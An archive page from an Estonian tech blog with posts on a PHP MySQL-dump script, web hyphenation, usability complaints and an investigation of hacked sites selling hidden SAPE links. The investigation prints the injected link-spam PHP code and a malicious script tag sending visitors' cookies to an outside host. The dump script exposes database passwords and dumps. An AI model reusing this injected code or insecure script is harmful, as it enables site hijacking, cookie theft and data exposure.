dumping databases, sometimes with forced latin1

This script dates back to when I needed to dump MySQL database accessed by whatever legacy app that decided to connect as latin1 but send data as utf8 – meaning, that dumping it with usual phpMyAdmin (that connects as utf8) resulted in file that failed to properly import. Well, it did import, but the contents were double-utf8′ed … so at least part of the characters were interpreted incorrectly and I spent hours if not days trying to understand why all character conversion libraries completely fail on my input.

So now, whenever I need to dump MySQL database produced by unfriendly application, I do it from command line and twice – as utf8 and latin1, deciding later whichever dump works better. And as it happens FTP access is much easier to get than SSH… and you can find config with SQL access pretty easily… I don’t even bother myself with anything else – I just upload humpty-dump.php, configure some access variables and hit it from the web side (well, I do take care to rename it before uploading and delete it afterwards, just in case you wonder about the security implications :-).

AND, as I sometimes need to grab also database dumps from WordPress installs with only FTP access (and unwilling to bother myself with installing a database-management plugin)… here comes humpty-dump.php:


<?php

// dump database - either using WordPress config from same directory or locally configured parameters
// v 1.2 (2012-11-25) Peeter Marvet, http://tehnokratt.net

if ( is_file( dirname( __FILE__ ) . '/wp-config.php' ) ) {

    include( dirname( __FILE__ ) . '/wp-config.php' );

} else {

    define('DB_NAME', 'name');
    define('DB_USER', 'user');
    define('DB_PASSWORD', 'pass');
    define('DB_HOST', 'localhost');
    define('DB_CHARSET', 'utf8'); // NB! use latin1 on legacy systems that tend to produce unreadable dumps from phpmyadmin!

}

$backupFile = DB_NAME . "_" .date("Y-m-d-H-i-s");
$command = "mysqldump --opt ";

if ( defined ('DB_CHARSET') ) {
    $command .= "--default-character-set=" . DB_CHARSET . " ";
    $backupFile .= "_" . DB_CHARSET;
}

$backupFile .= '.gz';

$command .= "--host=" . DB_HOST . " --user=" . DB_USER . " --password=" . DB_PASSWORD . " " . DB_NAME . " | gzip > $backupFile";

echo "Dumping <strong>" . DB_NAME . "</strong> on <strong>" . DB_HOST . "</strong>... ";

echo system($command);

echo 'Done! Grab it before it rots: <a href="http://' . $_SERVER['SERVER_NAME'] . '/' . $backupFile . '">' . $backupFile . '</a>';

?>

Postitatud rubriiki mysql, php, wordpress | 1 vastus

eestikeelne poolitus veebitekstile

Varsti on kõigil brauseritel CSS3 poolituse tugi olemas… aga seniks-kuniks ajab asja ära hyphenator.js mida muuhulgas soovitab Richard Fink artiklis The Look That Says Book. Olen nimelt parajasti tegelemas veebiakadeemia.ee ettevalmistamisega algavaks saatehooajaks ja poolituse puudumine muutis kitsa veeru peal oleva teksti vastikult sakiliseks.

Kiire guugeldamine ei andnud eestikeelse veebipoolituse kohta ühtki tulemust, seega tuli muuhulgas tekitada hyphenator.js jaoks et.js poolitusmuster – aluseks Enn Saare TeX-muster – ning … nii lihtne see oligi :-) Enn lubas tulemuse LGPL alla ning loodetavasti jõuab see varsti ka hyphenator.js ametlikku distributsiooni, seni võib küsida ajutist versiooni minult meilitsi … või pruukida tehnokratt.net/hyphenator/mergeAndPack.html generaatorit.

Kasutuselevõtt on imelihtne:

  • Hyphenatoriga tuleb kaasa mergeAndPack.html mis pakib poolituse, vajalikud keelemoodulid ning seadistused kenasti üheks minimeeritud javascriptiks kokku (olgu siiski lisatud, et mergeAndPack ei tööta otse kettalt avades vaid eeldab turvapõhjustel käitamist veebiserverist - tehnokratt.net/hyphenator/mergeAndPack.html abiks)
  • Linnutad seal soovitavad keeled, vajadusel timmid poolitamise agressiivsust ning lisad klassi mida vaja poolitada (vaikimisi eeldatakse, et lisad poolitamist vajavale sisule klassi hyphenate – minul siin Thematic’u peale tehtud kujunduses sobib entry-content päris hästi); hetkel tasub mitte lubada CSS3 poolituse tuge (bugi on raporteeritud), sest vähemasti Firefox 3.6 kasutajad saavad sellel puhul veateate (võib muidugi ka leppida sellega, et nad peavad lugema poolitamata teksti ning lihtsalt muutma onError funktsiooni {}-ks ehk mitte-veateadet-väljastavaks).
  • Tulemuseks saad teksti mille võid kopeerida nt hyphenator-et.js failiks.
  • WordPressi puhul tasub see sokutada oma kujundusteema kataloogi ning kui lisada functions.php-sse järgmised kaks rida peakski kõik toimima:
wp_register_script( 'hyphenator', ( get_stylesheet_directory_uri() . "/hyphenator-et.js" ), false, '4.0.0' );
wp_enqueue_script( 'hyphenator' );
Postitatud rubriiki usability | 3 vastust

world usability day 2011 soojenduseks esineb m-parkimine

World Usability Day on sedapuhku eriti maagilisel kuupäeval 11.11.11 – ning juhtumisi on mul au modereerida selle tähistamiseks Tallinna Ülikoolis korraldatavat kasutatavuse päeva üritust (mis esinejate nimekirja vaadates saab maailmapäevale kohaselt olema peamiselt ingliskeelne). Ja kuna täna toimub toimkonna koos-oleks – ning mul on see nädal ees veel mõned otsapidi kasutatavusega seonduvad tööd – võiks veidi soojendust teha.

Nimelt sain ma eelmisel nädalal … vist selle aasta esimese parkimistrahvi. Tänu MoPa-nimelisele Androidi-rakendusele on oluliselt vähenenud juhtumid mil kiirustades jääb parkimine alustamata – ja lisaks vähenenud ülekulud tiksuma ununenud aja arvelt. Aga eelmisel nädalal läks nii, et m-parkimine vähemalt Elisa võrgus ei toiminud mistõttu sõnum läks kell 8:25 teele, aga vastust ei tulnud. Püsikasutajana ei jälgi ma enam ammu vastuseks tulevaid sõnumeid, sest 99% ajast ei sisalda need midagi olulist ning jama ilmnes alles trahvilipikut nähes. Õigupoolest tuli kell 12:08 ka teade, et m-parkimine ei toimi… aga selleks ajaks teadsin ma seda isegi.

Ehk siis on meil m-parkimise näol tore massirakendus, mis muuhulgas:

  • ei väljasta mittetoimimise korral adekvaatset infot
  • toodab püsikasutaja jaoks infomüra
  • on piisavalt ebamugav, et kasutatavuse tekitamiseks on vaja app’i (mh vältimaks unustamist ehk üle-maksmist)
  • ainus API on seesama mürarikas/vahelmittetoimiv SMS (tõenäoliselt annaks MoPa rakendust edendada jälgides SMSe ning korraldades paanika kui need ei vasta ootustele – aga selleks peaks ilmselgelt keegi selle eest mingit raha kah maksma ning tõenäoliselt rohkem, kui appstorest saada õnnestub)
  • ilmselt ei oma ka parkimisteenuse-pakkuja jaoks lepingulist tingimust, mis sätestaks kasutajasõbraliku probleemilahenduse teenuse mittetoimimise juhuks

Kui süsteem teadaolevalt ei toimi, võiks mõistagi aidata parkimiskorraldaja kõnekeskus, mis lihtsustatud korras trahvid tühistaks – paraku seletavad nad varmalt, et otseloomulikult on minu ülesanne lugeda läbi SMSid ja jälgida nende korrapärast saabumist… selmet nende asi oleks tagada maksesüsteemide toimimine. Sellest on muideks varem kah juttu olnud (terv!, Karol). Kaubanduskeskuse puhul pidavat olema maksetõrke aeg mille järel inimesed täislaaditud ostukärud saali jätavad ja lahkuvad ca 10 minuti kanti – mis tekitab palju jama ja paneb müüa sisuliselt vastutama e-maksete toimimise eest. Parkimise puhul… noh tegelikult on sarnane lahendus, nagu nähtub kommentaaridest:

Tõe huvides olgu lisatud ka Mardi hilisem kommentaar, ehk siis viha tekitab ennekõike kliendisuhe hetkel, kui õnnestub trahv saada:

Muide mina olen Europargile alati maksnud parkimise eest. Las nemad ka teenivad, ega mul kahju pole. Aga need “trahvid” on sigadus – ajuvabalt kõrged, nagu kliendi varitsemine: “Ahaa, VAHELE JÄID! Nüüd me alles KEERAME sulle!!!” Klient aga võib-olla lihtsalt unustas või m-parkimine ei töötanud vms. Seetõttu kui ma kunagi peaks mõne selle trahvi saama, siis ma tuimalt ei maksa seda ning ei tunne ennast ka üldse halvasti.

Ja tõe huvides olgu lisatud ka see, et olen teemat EuroParkiga arutanud ning nad on sisemas ka ise arvamusel, et klientide kottimine ei ole mõistlik äri ning proovivad vaided mõistusega lahendada. Küllap läheb sama rada ka minu seekordne vaie ehk kõik saab kenasti korda … aga siis ma sattusin netis seda vaiet täitma ja … see asi sobib paraku õpikusse:

Kõigepealt on tore sisestada vaide number – milles sisaldub muideks kontrolöri ID, kuupäev ja kellaaeg – ning siis lisada sinna juurde seesama info kenasti lahtrite kaupa aidates ühtlasti parkimiskorraldajal meelde tuletada, kus täpselt asub ala EP25 ja mis trahvi peal kirjas oli. Ilmselt ei piisa aga sellestki, sest järsku on keegi otsustanud kontrollida mis linnast üldse jutt käib.

Ja siis tuleb ports punkte, mis arvatavasti peaksid paneme vaide esitaja oma kavatsusest loobuma – kas ikka maksid, tegid seda kohe, vastussõnumi said jne. Vaide SISULISE OSA ehk minupoolse selgituse jaoks on jäetud imetilluke lahter.

Edasi… Arvake ära mis juhtub, kui ma otsustan vaide teele saata? Loomulikult saan veateate:

Mmmm… kogu probleem ongi ju selles, et teie maksesüsteem ei toiminud ning ei saatnud vastust mille ma vastava radio-buttoniga ka kenasti ära märkisin, eksju? Sealt edasi kuvatakse mulle kinnitus-popup kus minu tekst on segamini igatmasti tehnilise infoga (ülaservas oli mh MAX_FILE_SIZE 8000000) ning nupp selle väljatrükkimiseks:

… ja vähemalt OSX+Chrome puhul juhtub Prindi-nuppu painates järgmine asi:

Ma siia sappa mingit moraali lisama ei hakka – kuigi kange soov oleks kehtestada kasutaja-poolne leppetrahv tarkvara-arendajatele. Ahjah, sai ju just pikalt arutatud, et trahv ei ole lahendus kah…

Miska tuleks lihtsalt tagasi loo alguse juurde – ehk 11.11.11 on usability day ja selleks puhuks korraldatava ürituse teemaks on kasutatavus tarkvara-arenduse protsessis. Üritusest on aga vähe tolku, kui sinna tulevad ainult igat masti kasutaja-interaktsiooni-fännid – vaja oleks rohkem neid, kes kasutaja peale mittemõtlemise tõttu vigu teevad.

Postitatud rubriiki usability | Kommenteeri

optim, lingibörsid ja must SEO

Pealtnägija 26.10.2011 lugu lingibörsi abil SEO-teenust pakkuvast firmast Optim Technology väärib veidi pikemat taustaselgitust – nii sisulises kui tehnilises mõttes (mh sai tutvutud saates mainitud vallaveebi häkiga seestpoolt ja aidatud neil pättvara veebist eemaldada).

Lühike sisuline sünops on järgnev:

  • Optim Technology nimeline seltskond pakub väidetavalt oma SEO-laboris väljatöötatud lahendust aitamaks saitidel skoorida Google’is jt otsimootorites
  • Tegelikult kasutatakse selleks lingibörse (vallaveebi juhtumi puhul venelaste sape.ru) ehk teenuseid, mis võimaldavad ühel poolel paigutada veebi tekstilinkide müümise koodi ja teisel poolel neisse veebidesse linke osta
  • Lingibörsidesse on sisse ehitatud mh pidev monitooring, nt kui Google võtab linke müünud saidi oma indeksist maha peatub automaatselt reklaam/rahavoog jne – ehk kõik mänguosalised on teadlikud, et otsimootorid peavad sellist tegevust lubamatuks ning tegelevad igapäevaselt aktiivse kassi-hiire-mänguga
  • Lingibörsi kood satub veebidesse mitmel moel – leidub pisemate saitide omanikke kes kasutavad võimalust raha teenida (mh on suht mõttetu sisuga liiklust suunavate minisaitide pidamine täiesti eraldi tegevusvaldkond SEO-maailmas), on veebimeistreid kes klientide teadmata nende veebe ära kasutavad – ja lisaks on hea äri-idee häkkida massiliselt veebisaitidesse pannes need linke kuvama
  • Vaadates Optimi ja nende klientide sape.ru börsilinke paistab, et .ru puhul on tegemist peamiselt linke müüvate veebidega ja mitte-.ru puhul häkitud saitidega – muuhulgas jäi silma, et samal päeval (öösel) saates mainitud vallaveebiga on täpselt sama kood lisatud ka ühte hispaaniakeelsesse veebi ehk tegu on olnud business-as-usual häkkeriga kes tõenäoliselt hankis endale veidike FTP-paroole ja asus nende abil raha teenima (vaadates vallaveebi logisid pakun, et häkker on pärit vene/ukraina suunalt)

Pärast Pealtnägija intervjuud on Optim lisanud oma veebi tööriista mis peaks aitama leida veebilehele peidetud spämm-linke ning deklaratsiooni:

Optim Technology eksperimenteerib aktiivselt rahvusvaheliste tehnoloogiatega, mis hõlmavad ka lingibörside kasutamist. Samas soovime, et linkide müük Eesti Vabariigis toimuks 100% seaduslikel alustel. Pole midagi halba selles, kui koduleht osaleb lingibörsidel lehe omaniku soovil ning teenides omanikule lisatulu. Samuti tuleks sellisel viisil teenitud tulult maksta ka seadustega määratud maksud.

Paraku on Optim kas jätnud lugemata Google’i veebimeistritele mõeldud Quality guidelines’i (ehk nad ei jaga SEO’st ööd ega mütsi, milles ma sügavalt kahtlen) või eksitab tahtlikult oma kliente – sest vägagi selge sõnaga on seal öeldud nii:

Avoid tricks intended to improve search engine rankings. A good rule of thumb is whether you’d feel comfortable explaining what you’ve done to a website that competes with you. Another useful test is to ask, “Does this help my users? Would I do this if search engines didn’t exist?”

Don’t participate in link schemes designed to increase your site’s ranking or PageRank. In particular, avoid links to web spammers or “bad neighborhoods” on the web, as your own ranking may be affected adversely by those links.

Tegemist ei ole muideks mingi uue teemaga, näiteks jääb kiire guugeldamisega näppu Matt Cutts’i postitus aastast 2005 Text links and PageRank - ehk Google tegeleb aktiivselt sellega, et tabada müüdud linke ning vältida nende arvestamist otsitulemuste järjestamisel.

Olgu lisatud, et peidetud linkide avastamisel saab linkiv sait nipsti indeksist kinga – näiteks sattusin ma 2009-suvel mõnede Eesti saitide peale mille sappa oli neid haldav veebimeister lisanud lingid parim-ee kataloogi alamlehtedele. Palusin saidi-omanikul lisada lehele Google Webmasters Tool’i tuvastuskoodi ja sain peagi näha järgmist teadet (kuna veebimeister on vahepeal vahetunud peidan saidi nime):

Ja otseloomulikult pole Google’i poliitikas midagi erakorralist, ka kõik teised otsimootorid näevad vaeva pakkumaks “orgaanilisi” tulemusi … ja kes mõistab venet võib vaadata (arvatavasti autorikaitse eesmärgil suvaliste klipijuppidega pikitud) intervjuud Война между Яндекс и биржой ссылок sape.ru kus viimase tehnikapealik selgitab süsteemi tööd. Muideks – isegi Optimi ärimudel “arve ainult toimiva positsioneerimise eest” ei ole unikaalne vaid lingibörsi-vahenduse vallas pigem tavapärane.

Tänu tegelastele nagu sape.ru ja selliste teenuste pisivahendajatele nagu Optim saavad kasutajad otsitulemusi mis ei vii neid mitte parima kliendireputatsiooniga ettevõtte juurde vaid seltskonda keda ei häiri ebaeetiline turundus kanalites mille peamiseks kasutajaks tunduvad olema saidid stiilis asian-t33n-pr0n-com ja russian-mail-order-brides-co-uk.

Septembri algul teemaga tegeledes jäi silma näiteks selline valik Eesti ettevõtete domeene mis kasutasid sape.ru börsi teenust (samadel saitidel oli ka Optimi enda linke miska tundub, et tegemist on nimelt nende klientide ja mitte omal-käel-üritajatega): aknauksemaailm-ee, sfinksehitus-ee, kodusisu-ee, call-ee, veebiabi-ee, planb-ee, lenovo-ee, ereal-ee, kauponline-ee, uksetehas-ee, gidrocity-ee. Pealtnägija tarbeks tehtud helita kattevideo otsimisest, leidmisest ja peidetud linkidest leiab siit.

Kui leiad siit nimekirjast oma konkurendi (või lihtsalt on veidi aega üle) siis soovitan teha otsing stiilis link:uksetehas.ee ning seejärel astuda läbi Google Webmaster Tools all olevast Report paid links tööriistast (eeldab sisselogimist) ning täita vorm.

Nüüd aga tiba tehnilisemaks – kuidas siis asi käib? Hea ülevaate linkide ostmisest SAPEs annab nende enda õppevideo http://vimeo.com/23869111 ja tõepoolest, tegemist on väga vinge tööriistaga mis muuhulgas võimaldab otsida sobilikke saite lähtuvalt märksõnadest ja pagerank’ist, hallata keerulisi kampaaniad ning kontrollida ostetud linkide toimimist.

Veebimeistri jaoks on olemas õpetused kõigi tuntud sisuhalduslahenduste jaoks – reeglina PHP-kood mis suhtleb SAPE serveriga, hangib sealt värksed lingid ning siis kuvab need veebilehel sobilikus kohas. Kood sokutatakse sisuhalduses mõnda vähekäidavasse nurgatagusesse ja näiteks Lasva valla veebi puhul pöördus selle poole jupike Typo3 index.php sabas:

$sp_script = $_SERVER['DOCUMENT_ROOT'].'/fileadmin/tv-templates/template1/images/401.php';
$style="<style type=\"text/css\">\nhtm, bod {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n";
$style.="#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #E8E8E8;\n\tborder-bottom: none;\n\tclear: both;\n}\n</style>\n\n";
while(is_integer(strpos($contents,"<a ")) && is_integer(strpos($contents,"</a>")))
{
$new_contents.=substr($contents,0,strpos($contents,"<a "));
$contents=substr($contents,strpos($contents,"<a "));
$ahref = substr($contents,0,strpos($contents,"</a>")+4);
$contents=substr($contents,strpos($contents,"</a>")+4);
if (!strpos($ahref,"href=\"http://".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href=\"<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href='http://".$_SERVER['HTTP_HOST']) &&
!strpos($ahref,"href='<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && strpos($ahref,"http"))
{ $ahref=str_replace("<a ","<noindex><a ",$ahref); $ahref=str_replace("</a>","</a></noindex>",$ahref);$ahref=str_replace("<\\/a>","<\\/a></noindex>",$ahref); }
$new_contents.= $ahref;
}
$new_contents.=$contents;
if (strpos($new_contents,"</body>") && strpos($new_contents,"</head>"))
{
$new_contents = str_replace("</head>",$style."</head>",$new_contents);
$new_contents = str_replace("charset=iso-8859-1","charset=utf-8",$new_contents);
$new_contents = str_replace("charset=ISO-8859-1","charset=UTF-8",$new_contents);
echo substr($new_contents,0,strpos($new_contents,"</body>"));
require_once($sp_script);
echo substr($new_contents,strpos($new_contents,"</body>"));
}
else { echo $new_contents; }

Nagu näha lisatakse saidi enda linkidele ühtlasi noindex vältimaks väärtusliku “lehemahla” lahjendamist mitte-börsi linkide poolt. Väga kaunis ja professionaalne :-)

Pealtnägija jaoks tehtud teises kattevideos soovitaks aga eraldi vaadata kohta mis algab ca 1:20 peal – seal on näha konkreetse lingibörsikasutaja kood ning kui seda guugeldada tuleb välja üks hispaaniakeelne sait … mis on juhtumisi saanud endale börsikoodi samal päeval Lasva veebiga ehk 08.11.2010:

Sarnast SAPE-linkide märgendust ehk <div id=’sp’> hakkas silma veel mitmes saidis, enamus neist Dreamhost’i all:

  • go.org.nz 69.163.150.4 apache2-udder.brewers.dreamhost.com
  • www.lgc.org 69.163.167.250 apache2-emu.reds.dreamhost.com
  • datingfoundry.com 69.163.185.120 apache2-linus.yaounde.dreamhost.com
  • www.sumaqperu.com 69.163.204.191 apache2-fritz.suva.dreamhost.com
  • www.gundaroobushfestival.org.au 69.163.179.108 apache2-prance.vikings.dreamhost.com
  • www.bogotabiketours.com  69.163.172.12 apache2-adamant.bulls.dreamhost.com
  • escuelasinestres.org 69.163.203.250 apache2-emu.sansalvador.dreamhost.com
  • cnuny.org 188.120.245.97 heyhosting.com
  • eutcartagena.es 212.36.82.107 fnhca-29.srv.cat

Tiba erinev tehnoloogia ehk teksti sisse pikitud lingid jäid silma saitides:

  • forestig.com
  • macyscoffee.com
  • www.punjabjustice.org

Kohvi-saidist leiab muideks keset ajalooteksti lingi veebiabi-ee peale… ja tellimise lehelt Optimi enda taanikeelse saidi promo:

 

Päris alati ei pruugi saidi häkkimine aga peidetud tekstilinkidega piirduda – sattusin peale ka sellisele saidile nagu www.campnuhop.org kus lehesabas olev kood nägi välja palju huvitavam:

See pikk liitmistehe annab tulemuseks uue koodjupi:

<script src="http://sbdtds.com/acounter.js?r=&c=&i=bc193015995f14dc4cefc81636413366a&h=campnuhop"></script>

Nagu näha (vaata kasvõi kattevideo liikuvad pilti) käivitatakse kasutaja brauseris javascript mille alla-laadimise käigus teavitatakse serverit muuhulgas kasutusel olevast brauserist… ja see c= parameeter sisaldanuks saidi cookie’t (mis võimaldaks mh tulevikus minuna sisse logida) ning r= refereri (ehk kuidas kasutaja laagri lehele tuli). Vot nii.

Kes oskab ja tahav kaevab (või kaebab) edasi, mina nüüd jälle jupp aega meedias ei esine (see siin oli lihtsalt liiga huvitav juhtum – olen nimelt mõnda aega pisteliselt peidetud linkide teemaga kokku puutunud ning aidanud veebe puhastada / turvaintsidente lahendada; lisaks mainis Mihkel Kärmas mulle teemat kohas mille veebis ma 2009-suvel esimest korda peidetud linkidega kokku puutusin … ning ma lihtsalt ei saanud jälgida oma head tava anda veidi taustainfot ja siis ajakirjanik pikalt saata; jamuideks, guugeldage veidi ja tekib tunne, et ka Optimi taga on PR- ja ajakirjandusteaduskonna lõpetanud :-).

Postitatud rubriiki cybercrime, netiturundus, spämm, turvalisus | Sildistatud , , , | 37 vastust

uus energia [iseklienditeenindus]

Javeelüks usability & veebi lugu – proovisin nimelt www.energia.ee uut kliendiinfosüsteemi ja tunded on (vähemalt esialgu) kahetised, isegi poole-kolmetised. On mitmeid detailide lahendusi mida tasuks kindlasti eeskujuks võtta ja maha viksida, on ühendatud avaliku ja kliendiveebi mudel millel on plusse koos (minumeelest) liigse keerukusega ning on ka kohti, mis mul karva tõsiselt turri ajavad. Olen eile-täna pisikeste juppide kaupa püüdnud mõista mis seal toimub ja panen kirja enne, kui (a) huvi kaob (b) minust saab profikasutaja.

Kõigepealt sellest keskmisest, ehk ühendatud avalikust ja kliendiveebist. Sama on Swedbankil, neid kahte seob täiesti juhuslikult Margus Simson (terv!) – aga kui Swedis satun ma sisselogimise järel oma konto “avalehele” siis uus energia.ee on realiseerinud julge nipi, lubades mul turvalise ID/mID/panga/isikukoodi+lepinguga sisselogimise järel jääda 8 nädalaks tuvastatuks (mõned karmimad tegevused nõuavad hiljem sessiooni taas-autentimist, mis on mõistlik). Praktikas tähendab see seda, et millal iganes energia.ee veebi naastes satun ma tiba personaliseeritud esilehele, kus on paremas servas võimalik teatada näite ja näha võlgnevust – mis on tõenäoliselt ka peamine põhjus, miks ma sinna veebi satun.

AGA kui ma tulen veebi, login ennast sisse ja satun oodatud iseteeninduse asemel esilehele kus on paremal näiduteatamine, vasakul mingi tervitus ja allpool … noh justnagu ülejäänud EE veeb (selle eripäraga, et iseteenindusse sisenemise nupp midagi ei tee) olen ma pehmelt öeldes taburetilt tõugatud. Umbes kolmandal korral hakkasin ma aru saama mis toimub ja see on natuke palju, IMHO.

Yess, ID ja mID on esile toodud, ilma tobeda graafikata, mainitud võimalus meeldejätmiseks koos inimkeelse selgitusega – ja pangalingid on diskreetselt ära peidetud ent vajadusel kättesaadavad. Kusjuures on välditud pankade logosid, kasutatud vaid korporatiivset tasutavärvi, ma kohe ei saa olla seda kah siia panemata (tõsi, hiirega hoverdades lähevad need nipsti ikka logodeks millega kaasneb tekstihüpe ja koleduse hirmutav kasv, äkki annaks lisada pisike fade? ja huvitav oleks teada, kas oli kõva kauplemine selleks et SEB saaks vasaku koha ja Swed lohutuseks gradient-tausta… või vastupidi?):

Ja edasi saabun ma siis lehele, mis oma täies pikkuses näeb välja vot täpselt sellise rull-kardiinana nagu paremal näha (klõpsates näeb 1:1 suuruses kah, fold on umbes tasumata arve teate juures – ja olgu lisatud, et see arve ootab lihtsalt otsekorralduse kuupäeva saabumist).

Tere ise kah, aga kus on lubatud e-teenindus? Rullides pilti allapoole tekib tunne, et sisselogimine ebaõnnestus, sest mulle kuvatakse midagi mis sarnaneb esilehega kust ma just tulin – ainult selle vahega, et nupp “sisenen e-teenindusse” ei tee enam midagi. Veidi sekeldamist ja avastan näidukasti juurest lingikesed, mis tõesti viivad mind e-teenindusse ehk peamenüü alla tekib juurde suurte ikoonidega alamenüü. Raske saatuse tahtel satun ma seejuures mitte võrdlemisi adekvaatsele arvete-lehele (kus mulle kui hetkel ärikliendi rollis olijale paraku midagi ei kuvata) vaid … näitude teatamise lehele.

See näeb välja nagu vasakul, mõistagi saab klikkides vaadata 1:1 – ja fold on selle koha peal kus tütarlapse dekoltee algab (lõpeb?) ehk sisuliselt saan ma teada, et oleks tore näite ikka teatada.

Edasi siis näidutabel, pealkirjastatud arve saatmise aadressidega ning väikselt kuvades tarbimiskohta – v.a miskipärast minu erakliendivaates, kus on ainult paberarve-aadressid mis on eriti abiks, kuivõrd olen tellinud e-arve juba aastaid tagasi. Paremal pakutakse mulle hulka teenuseid millega ma olen juba liitunud ja all võimalust anda näit kord aastas ja maksta ennustuse alusel – mis muideks juhtub nii ehk naa kui ma ei suvatse näitu teatada, ainult et nüüd pean ma sisseloginud olekus ja tarbimiskoha näitude lehel olles täitma käsitsi mingi ankeedi. Halllooo?

Ja siis õpetused selle kohta kuidas veel saab näite teatada, täitsa brå ju (mmmm… kas lepingu number pole siis unikaalne, st miks on vaja ka isikukoodi?).

Aga ma ei saa vastu kiusatusele värvida sellel lehele ära alad mis puutuvad minu käsilolevasse näiduteatamistegevusse ja mis mitte. Sisu / müra suhe pole just kiita ning kogemus ütleb, et mu pilk õpib kiiresti fikseeruma eesmärgikohasel ning EE võib tulevikus seal kõrval käia välja mida tahes head ja kasulikku, minu jaoks on see müra-ala.

Küsimus pole isegi selles, et oluline osa lükatakse allapoole foldi kuhu kasutaja kunagi ei satu (L saatis mulle seepeale isegi lugemist, aga too jutt ei käi kasutajaliidese funktsiooni olulise komponendi ärapeitmise kohta) – lihtsalt neid asju tuleks mulle kaela määrida sobilikul hetkel ning mitte hoida navigatsiooniks vajalikud jubinad enamvähem koos.

Javeel – mulle meeldivad vasakul asuvad tekstimenüüd läbimõeldud võtmesõnadega. Muudaks selle hulga erinevaid sõnumeid oluliselt paremini leitavaks, hetkel on kogu veeb üks suur tekstikastikeste põld millest ma pean ennast läbi närima (eeldusel, et mul on mingi motivatsioon seda teha). Kui inimkonnale meeldiksid suured värvilised ikoonidega varustatud tekstid oleks issand loonud adwordsi tekstireklaamid just sellistena ;-)

A lõpetaks jällegi positiivse noodiga. Läbi viimase aasta on üheks minu valve-argumendiks (jah, hea mõte on enne programmeerijaks hakkamist käia koolis ja kuulata ära vähemalt Priit Raspeli andmebaaside kursus, sest …) olnud näide aadress-andmete sisestamisest nii, nagu see käib enamuses infosüsteemides st valid dropdownist riigi (Afganistan, yes?), siis regiooni jne kuni lõpuks, kui aadress on korteri täpsusega määratud, palutakse mõelda välja postiindeks.  Aga EE uues veebis on nii, et harmoniseerimata aadress on punane ja kui muutmiseks sisestada osa aadressist pakub ta välja Eestis olemasolevad harmoniseeritud vasted ja ei mingit lahter-haaval selektimist. Selle nipi võiks kasutusele võtta veel paljudes lahendustes:

Aga miks mul on 2 viitenumbrit, teine e-arvega ja teine paberiga? Krt seda teab. Samuti nagu seda, miks ma saan siseneda korteriühistuna ja lisaks on veel miski eraldi volitus kirjas… Minge lugege parem levinumaid müüte tuumaenergia ohtlikkusest ja tundke ennast hästi :-P

Kolm asja mis mina teeksin kohe ümber:

  • logini järel satun lehele, mis jätab mulje saabumisest e-teenindusse: menüü, asjakohane sisu prominentsel kohal (37BB oleks muidugi palju küsida)
  • kui ei ole kindel, et sellele kliendile peab praegu mingit pakkumist / jutustust näitama, jätaks näitamata
  • sisseloginud klienti ei hakka naasmisel tervitama, näiduteatamine on kenasti integreeritud avalehe kujundusse, samuti nupp mis viib mind e-teenindusse (hetkel ei leia ma seda nagu üldse)

ps. tänu WPtouch‘ile võib tehnokratt.net’i nüüd üsna julgesti ka telefoni ja muude i- ja a-seadmetega vaadata

Postitatud rubriiki usability | 3 vastust
  • Viimane veerg

    Mina olen Peeter Marvet (pets@tehnokratt.net). Ei saa täielikult välistada, et see siin oli kunagi minu ajaveeb. Kirjapandu ei pruugi väljendada seisu- ega istmekohti. Seoses surutisega esilehe mahtu vähendatud 8%. Lisandub käibemaks, Tallinna elanikel ka müügi- ja paadimaks. Pakendatud gaasikeskkonda. Valmistatud arvutis milles võib leiduda väheses koguses piima- ja pähklitükke. Ei sisalda hüdrogeenitud (transarasvavabasid) taimseid rasvhappeid, sisaldab vahustatud lämmastikku.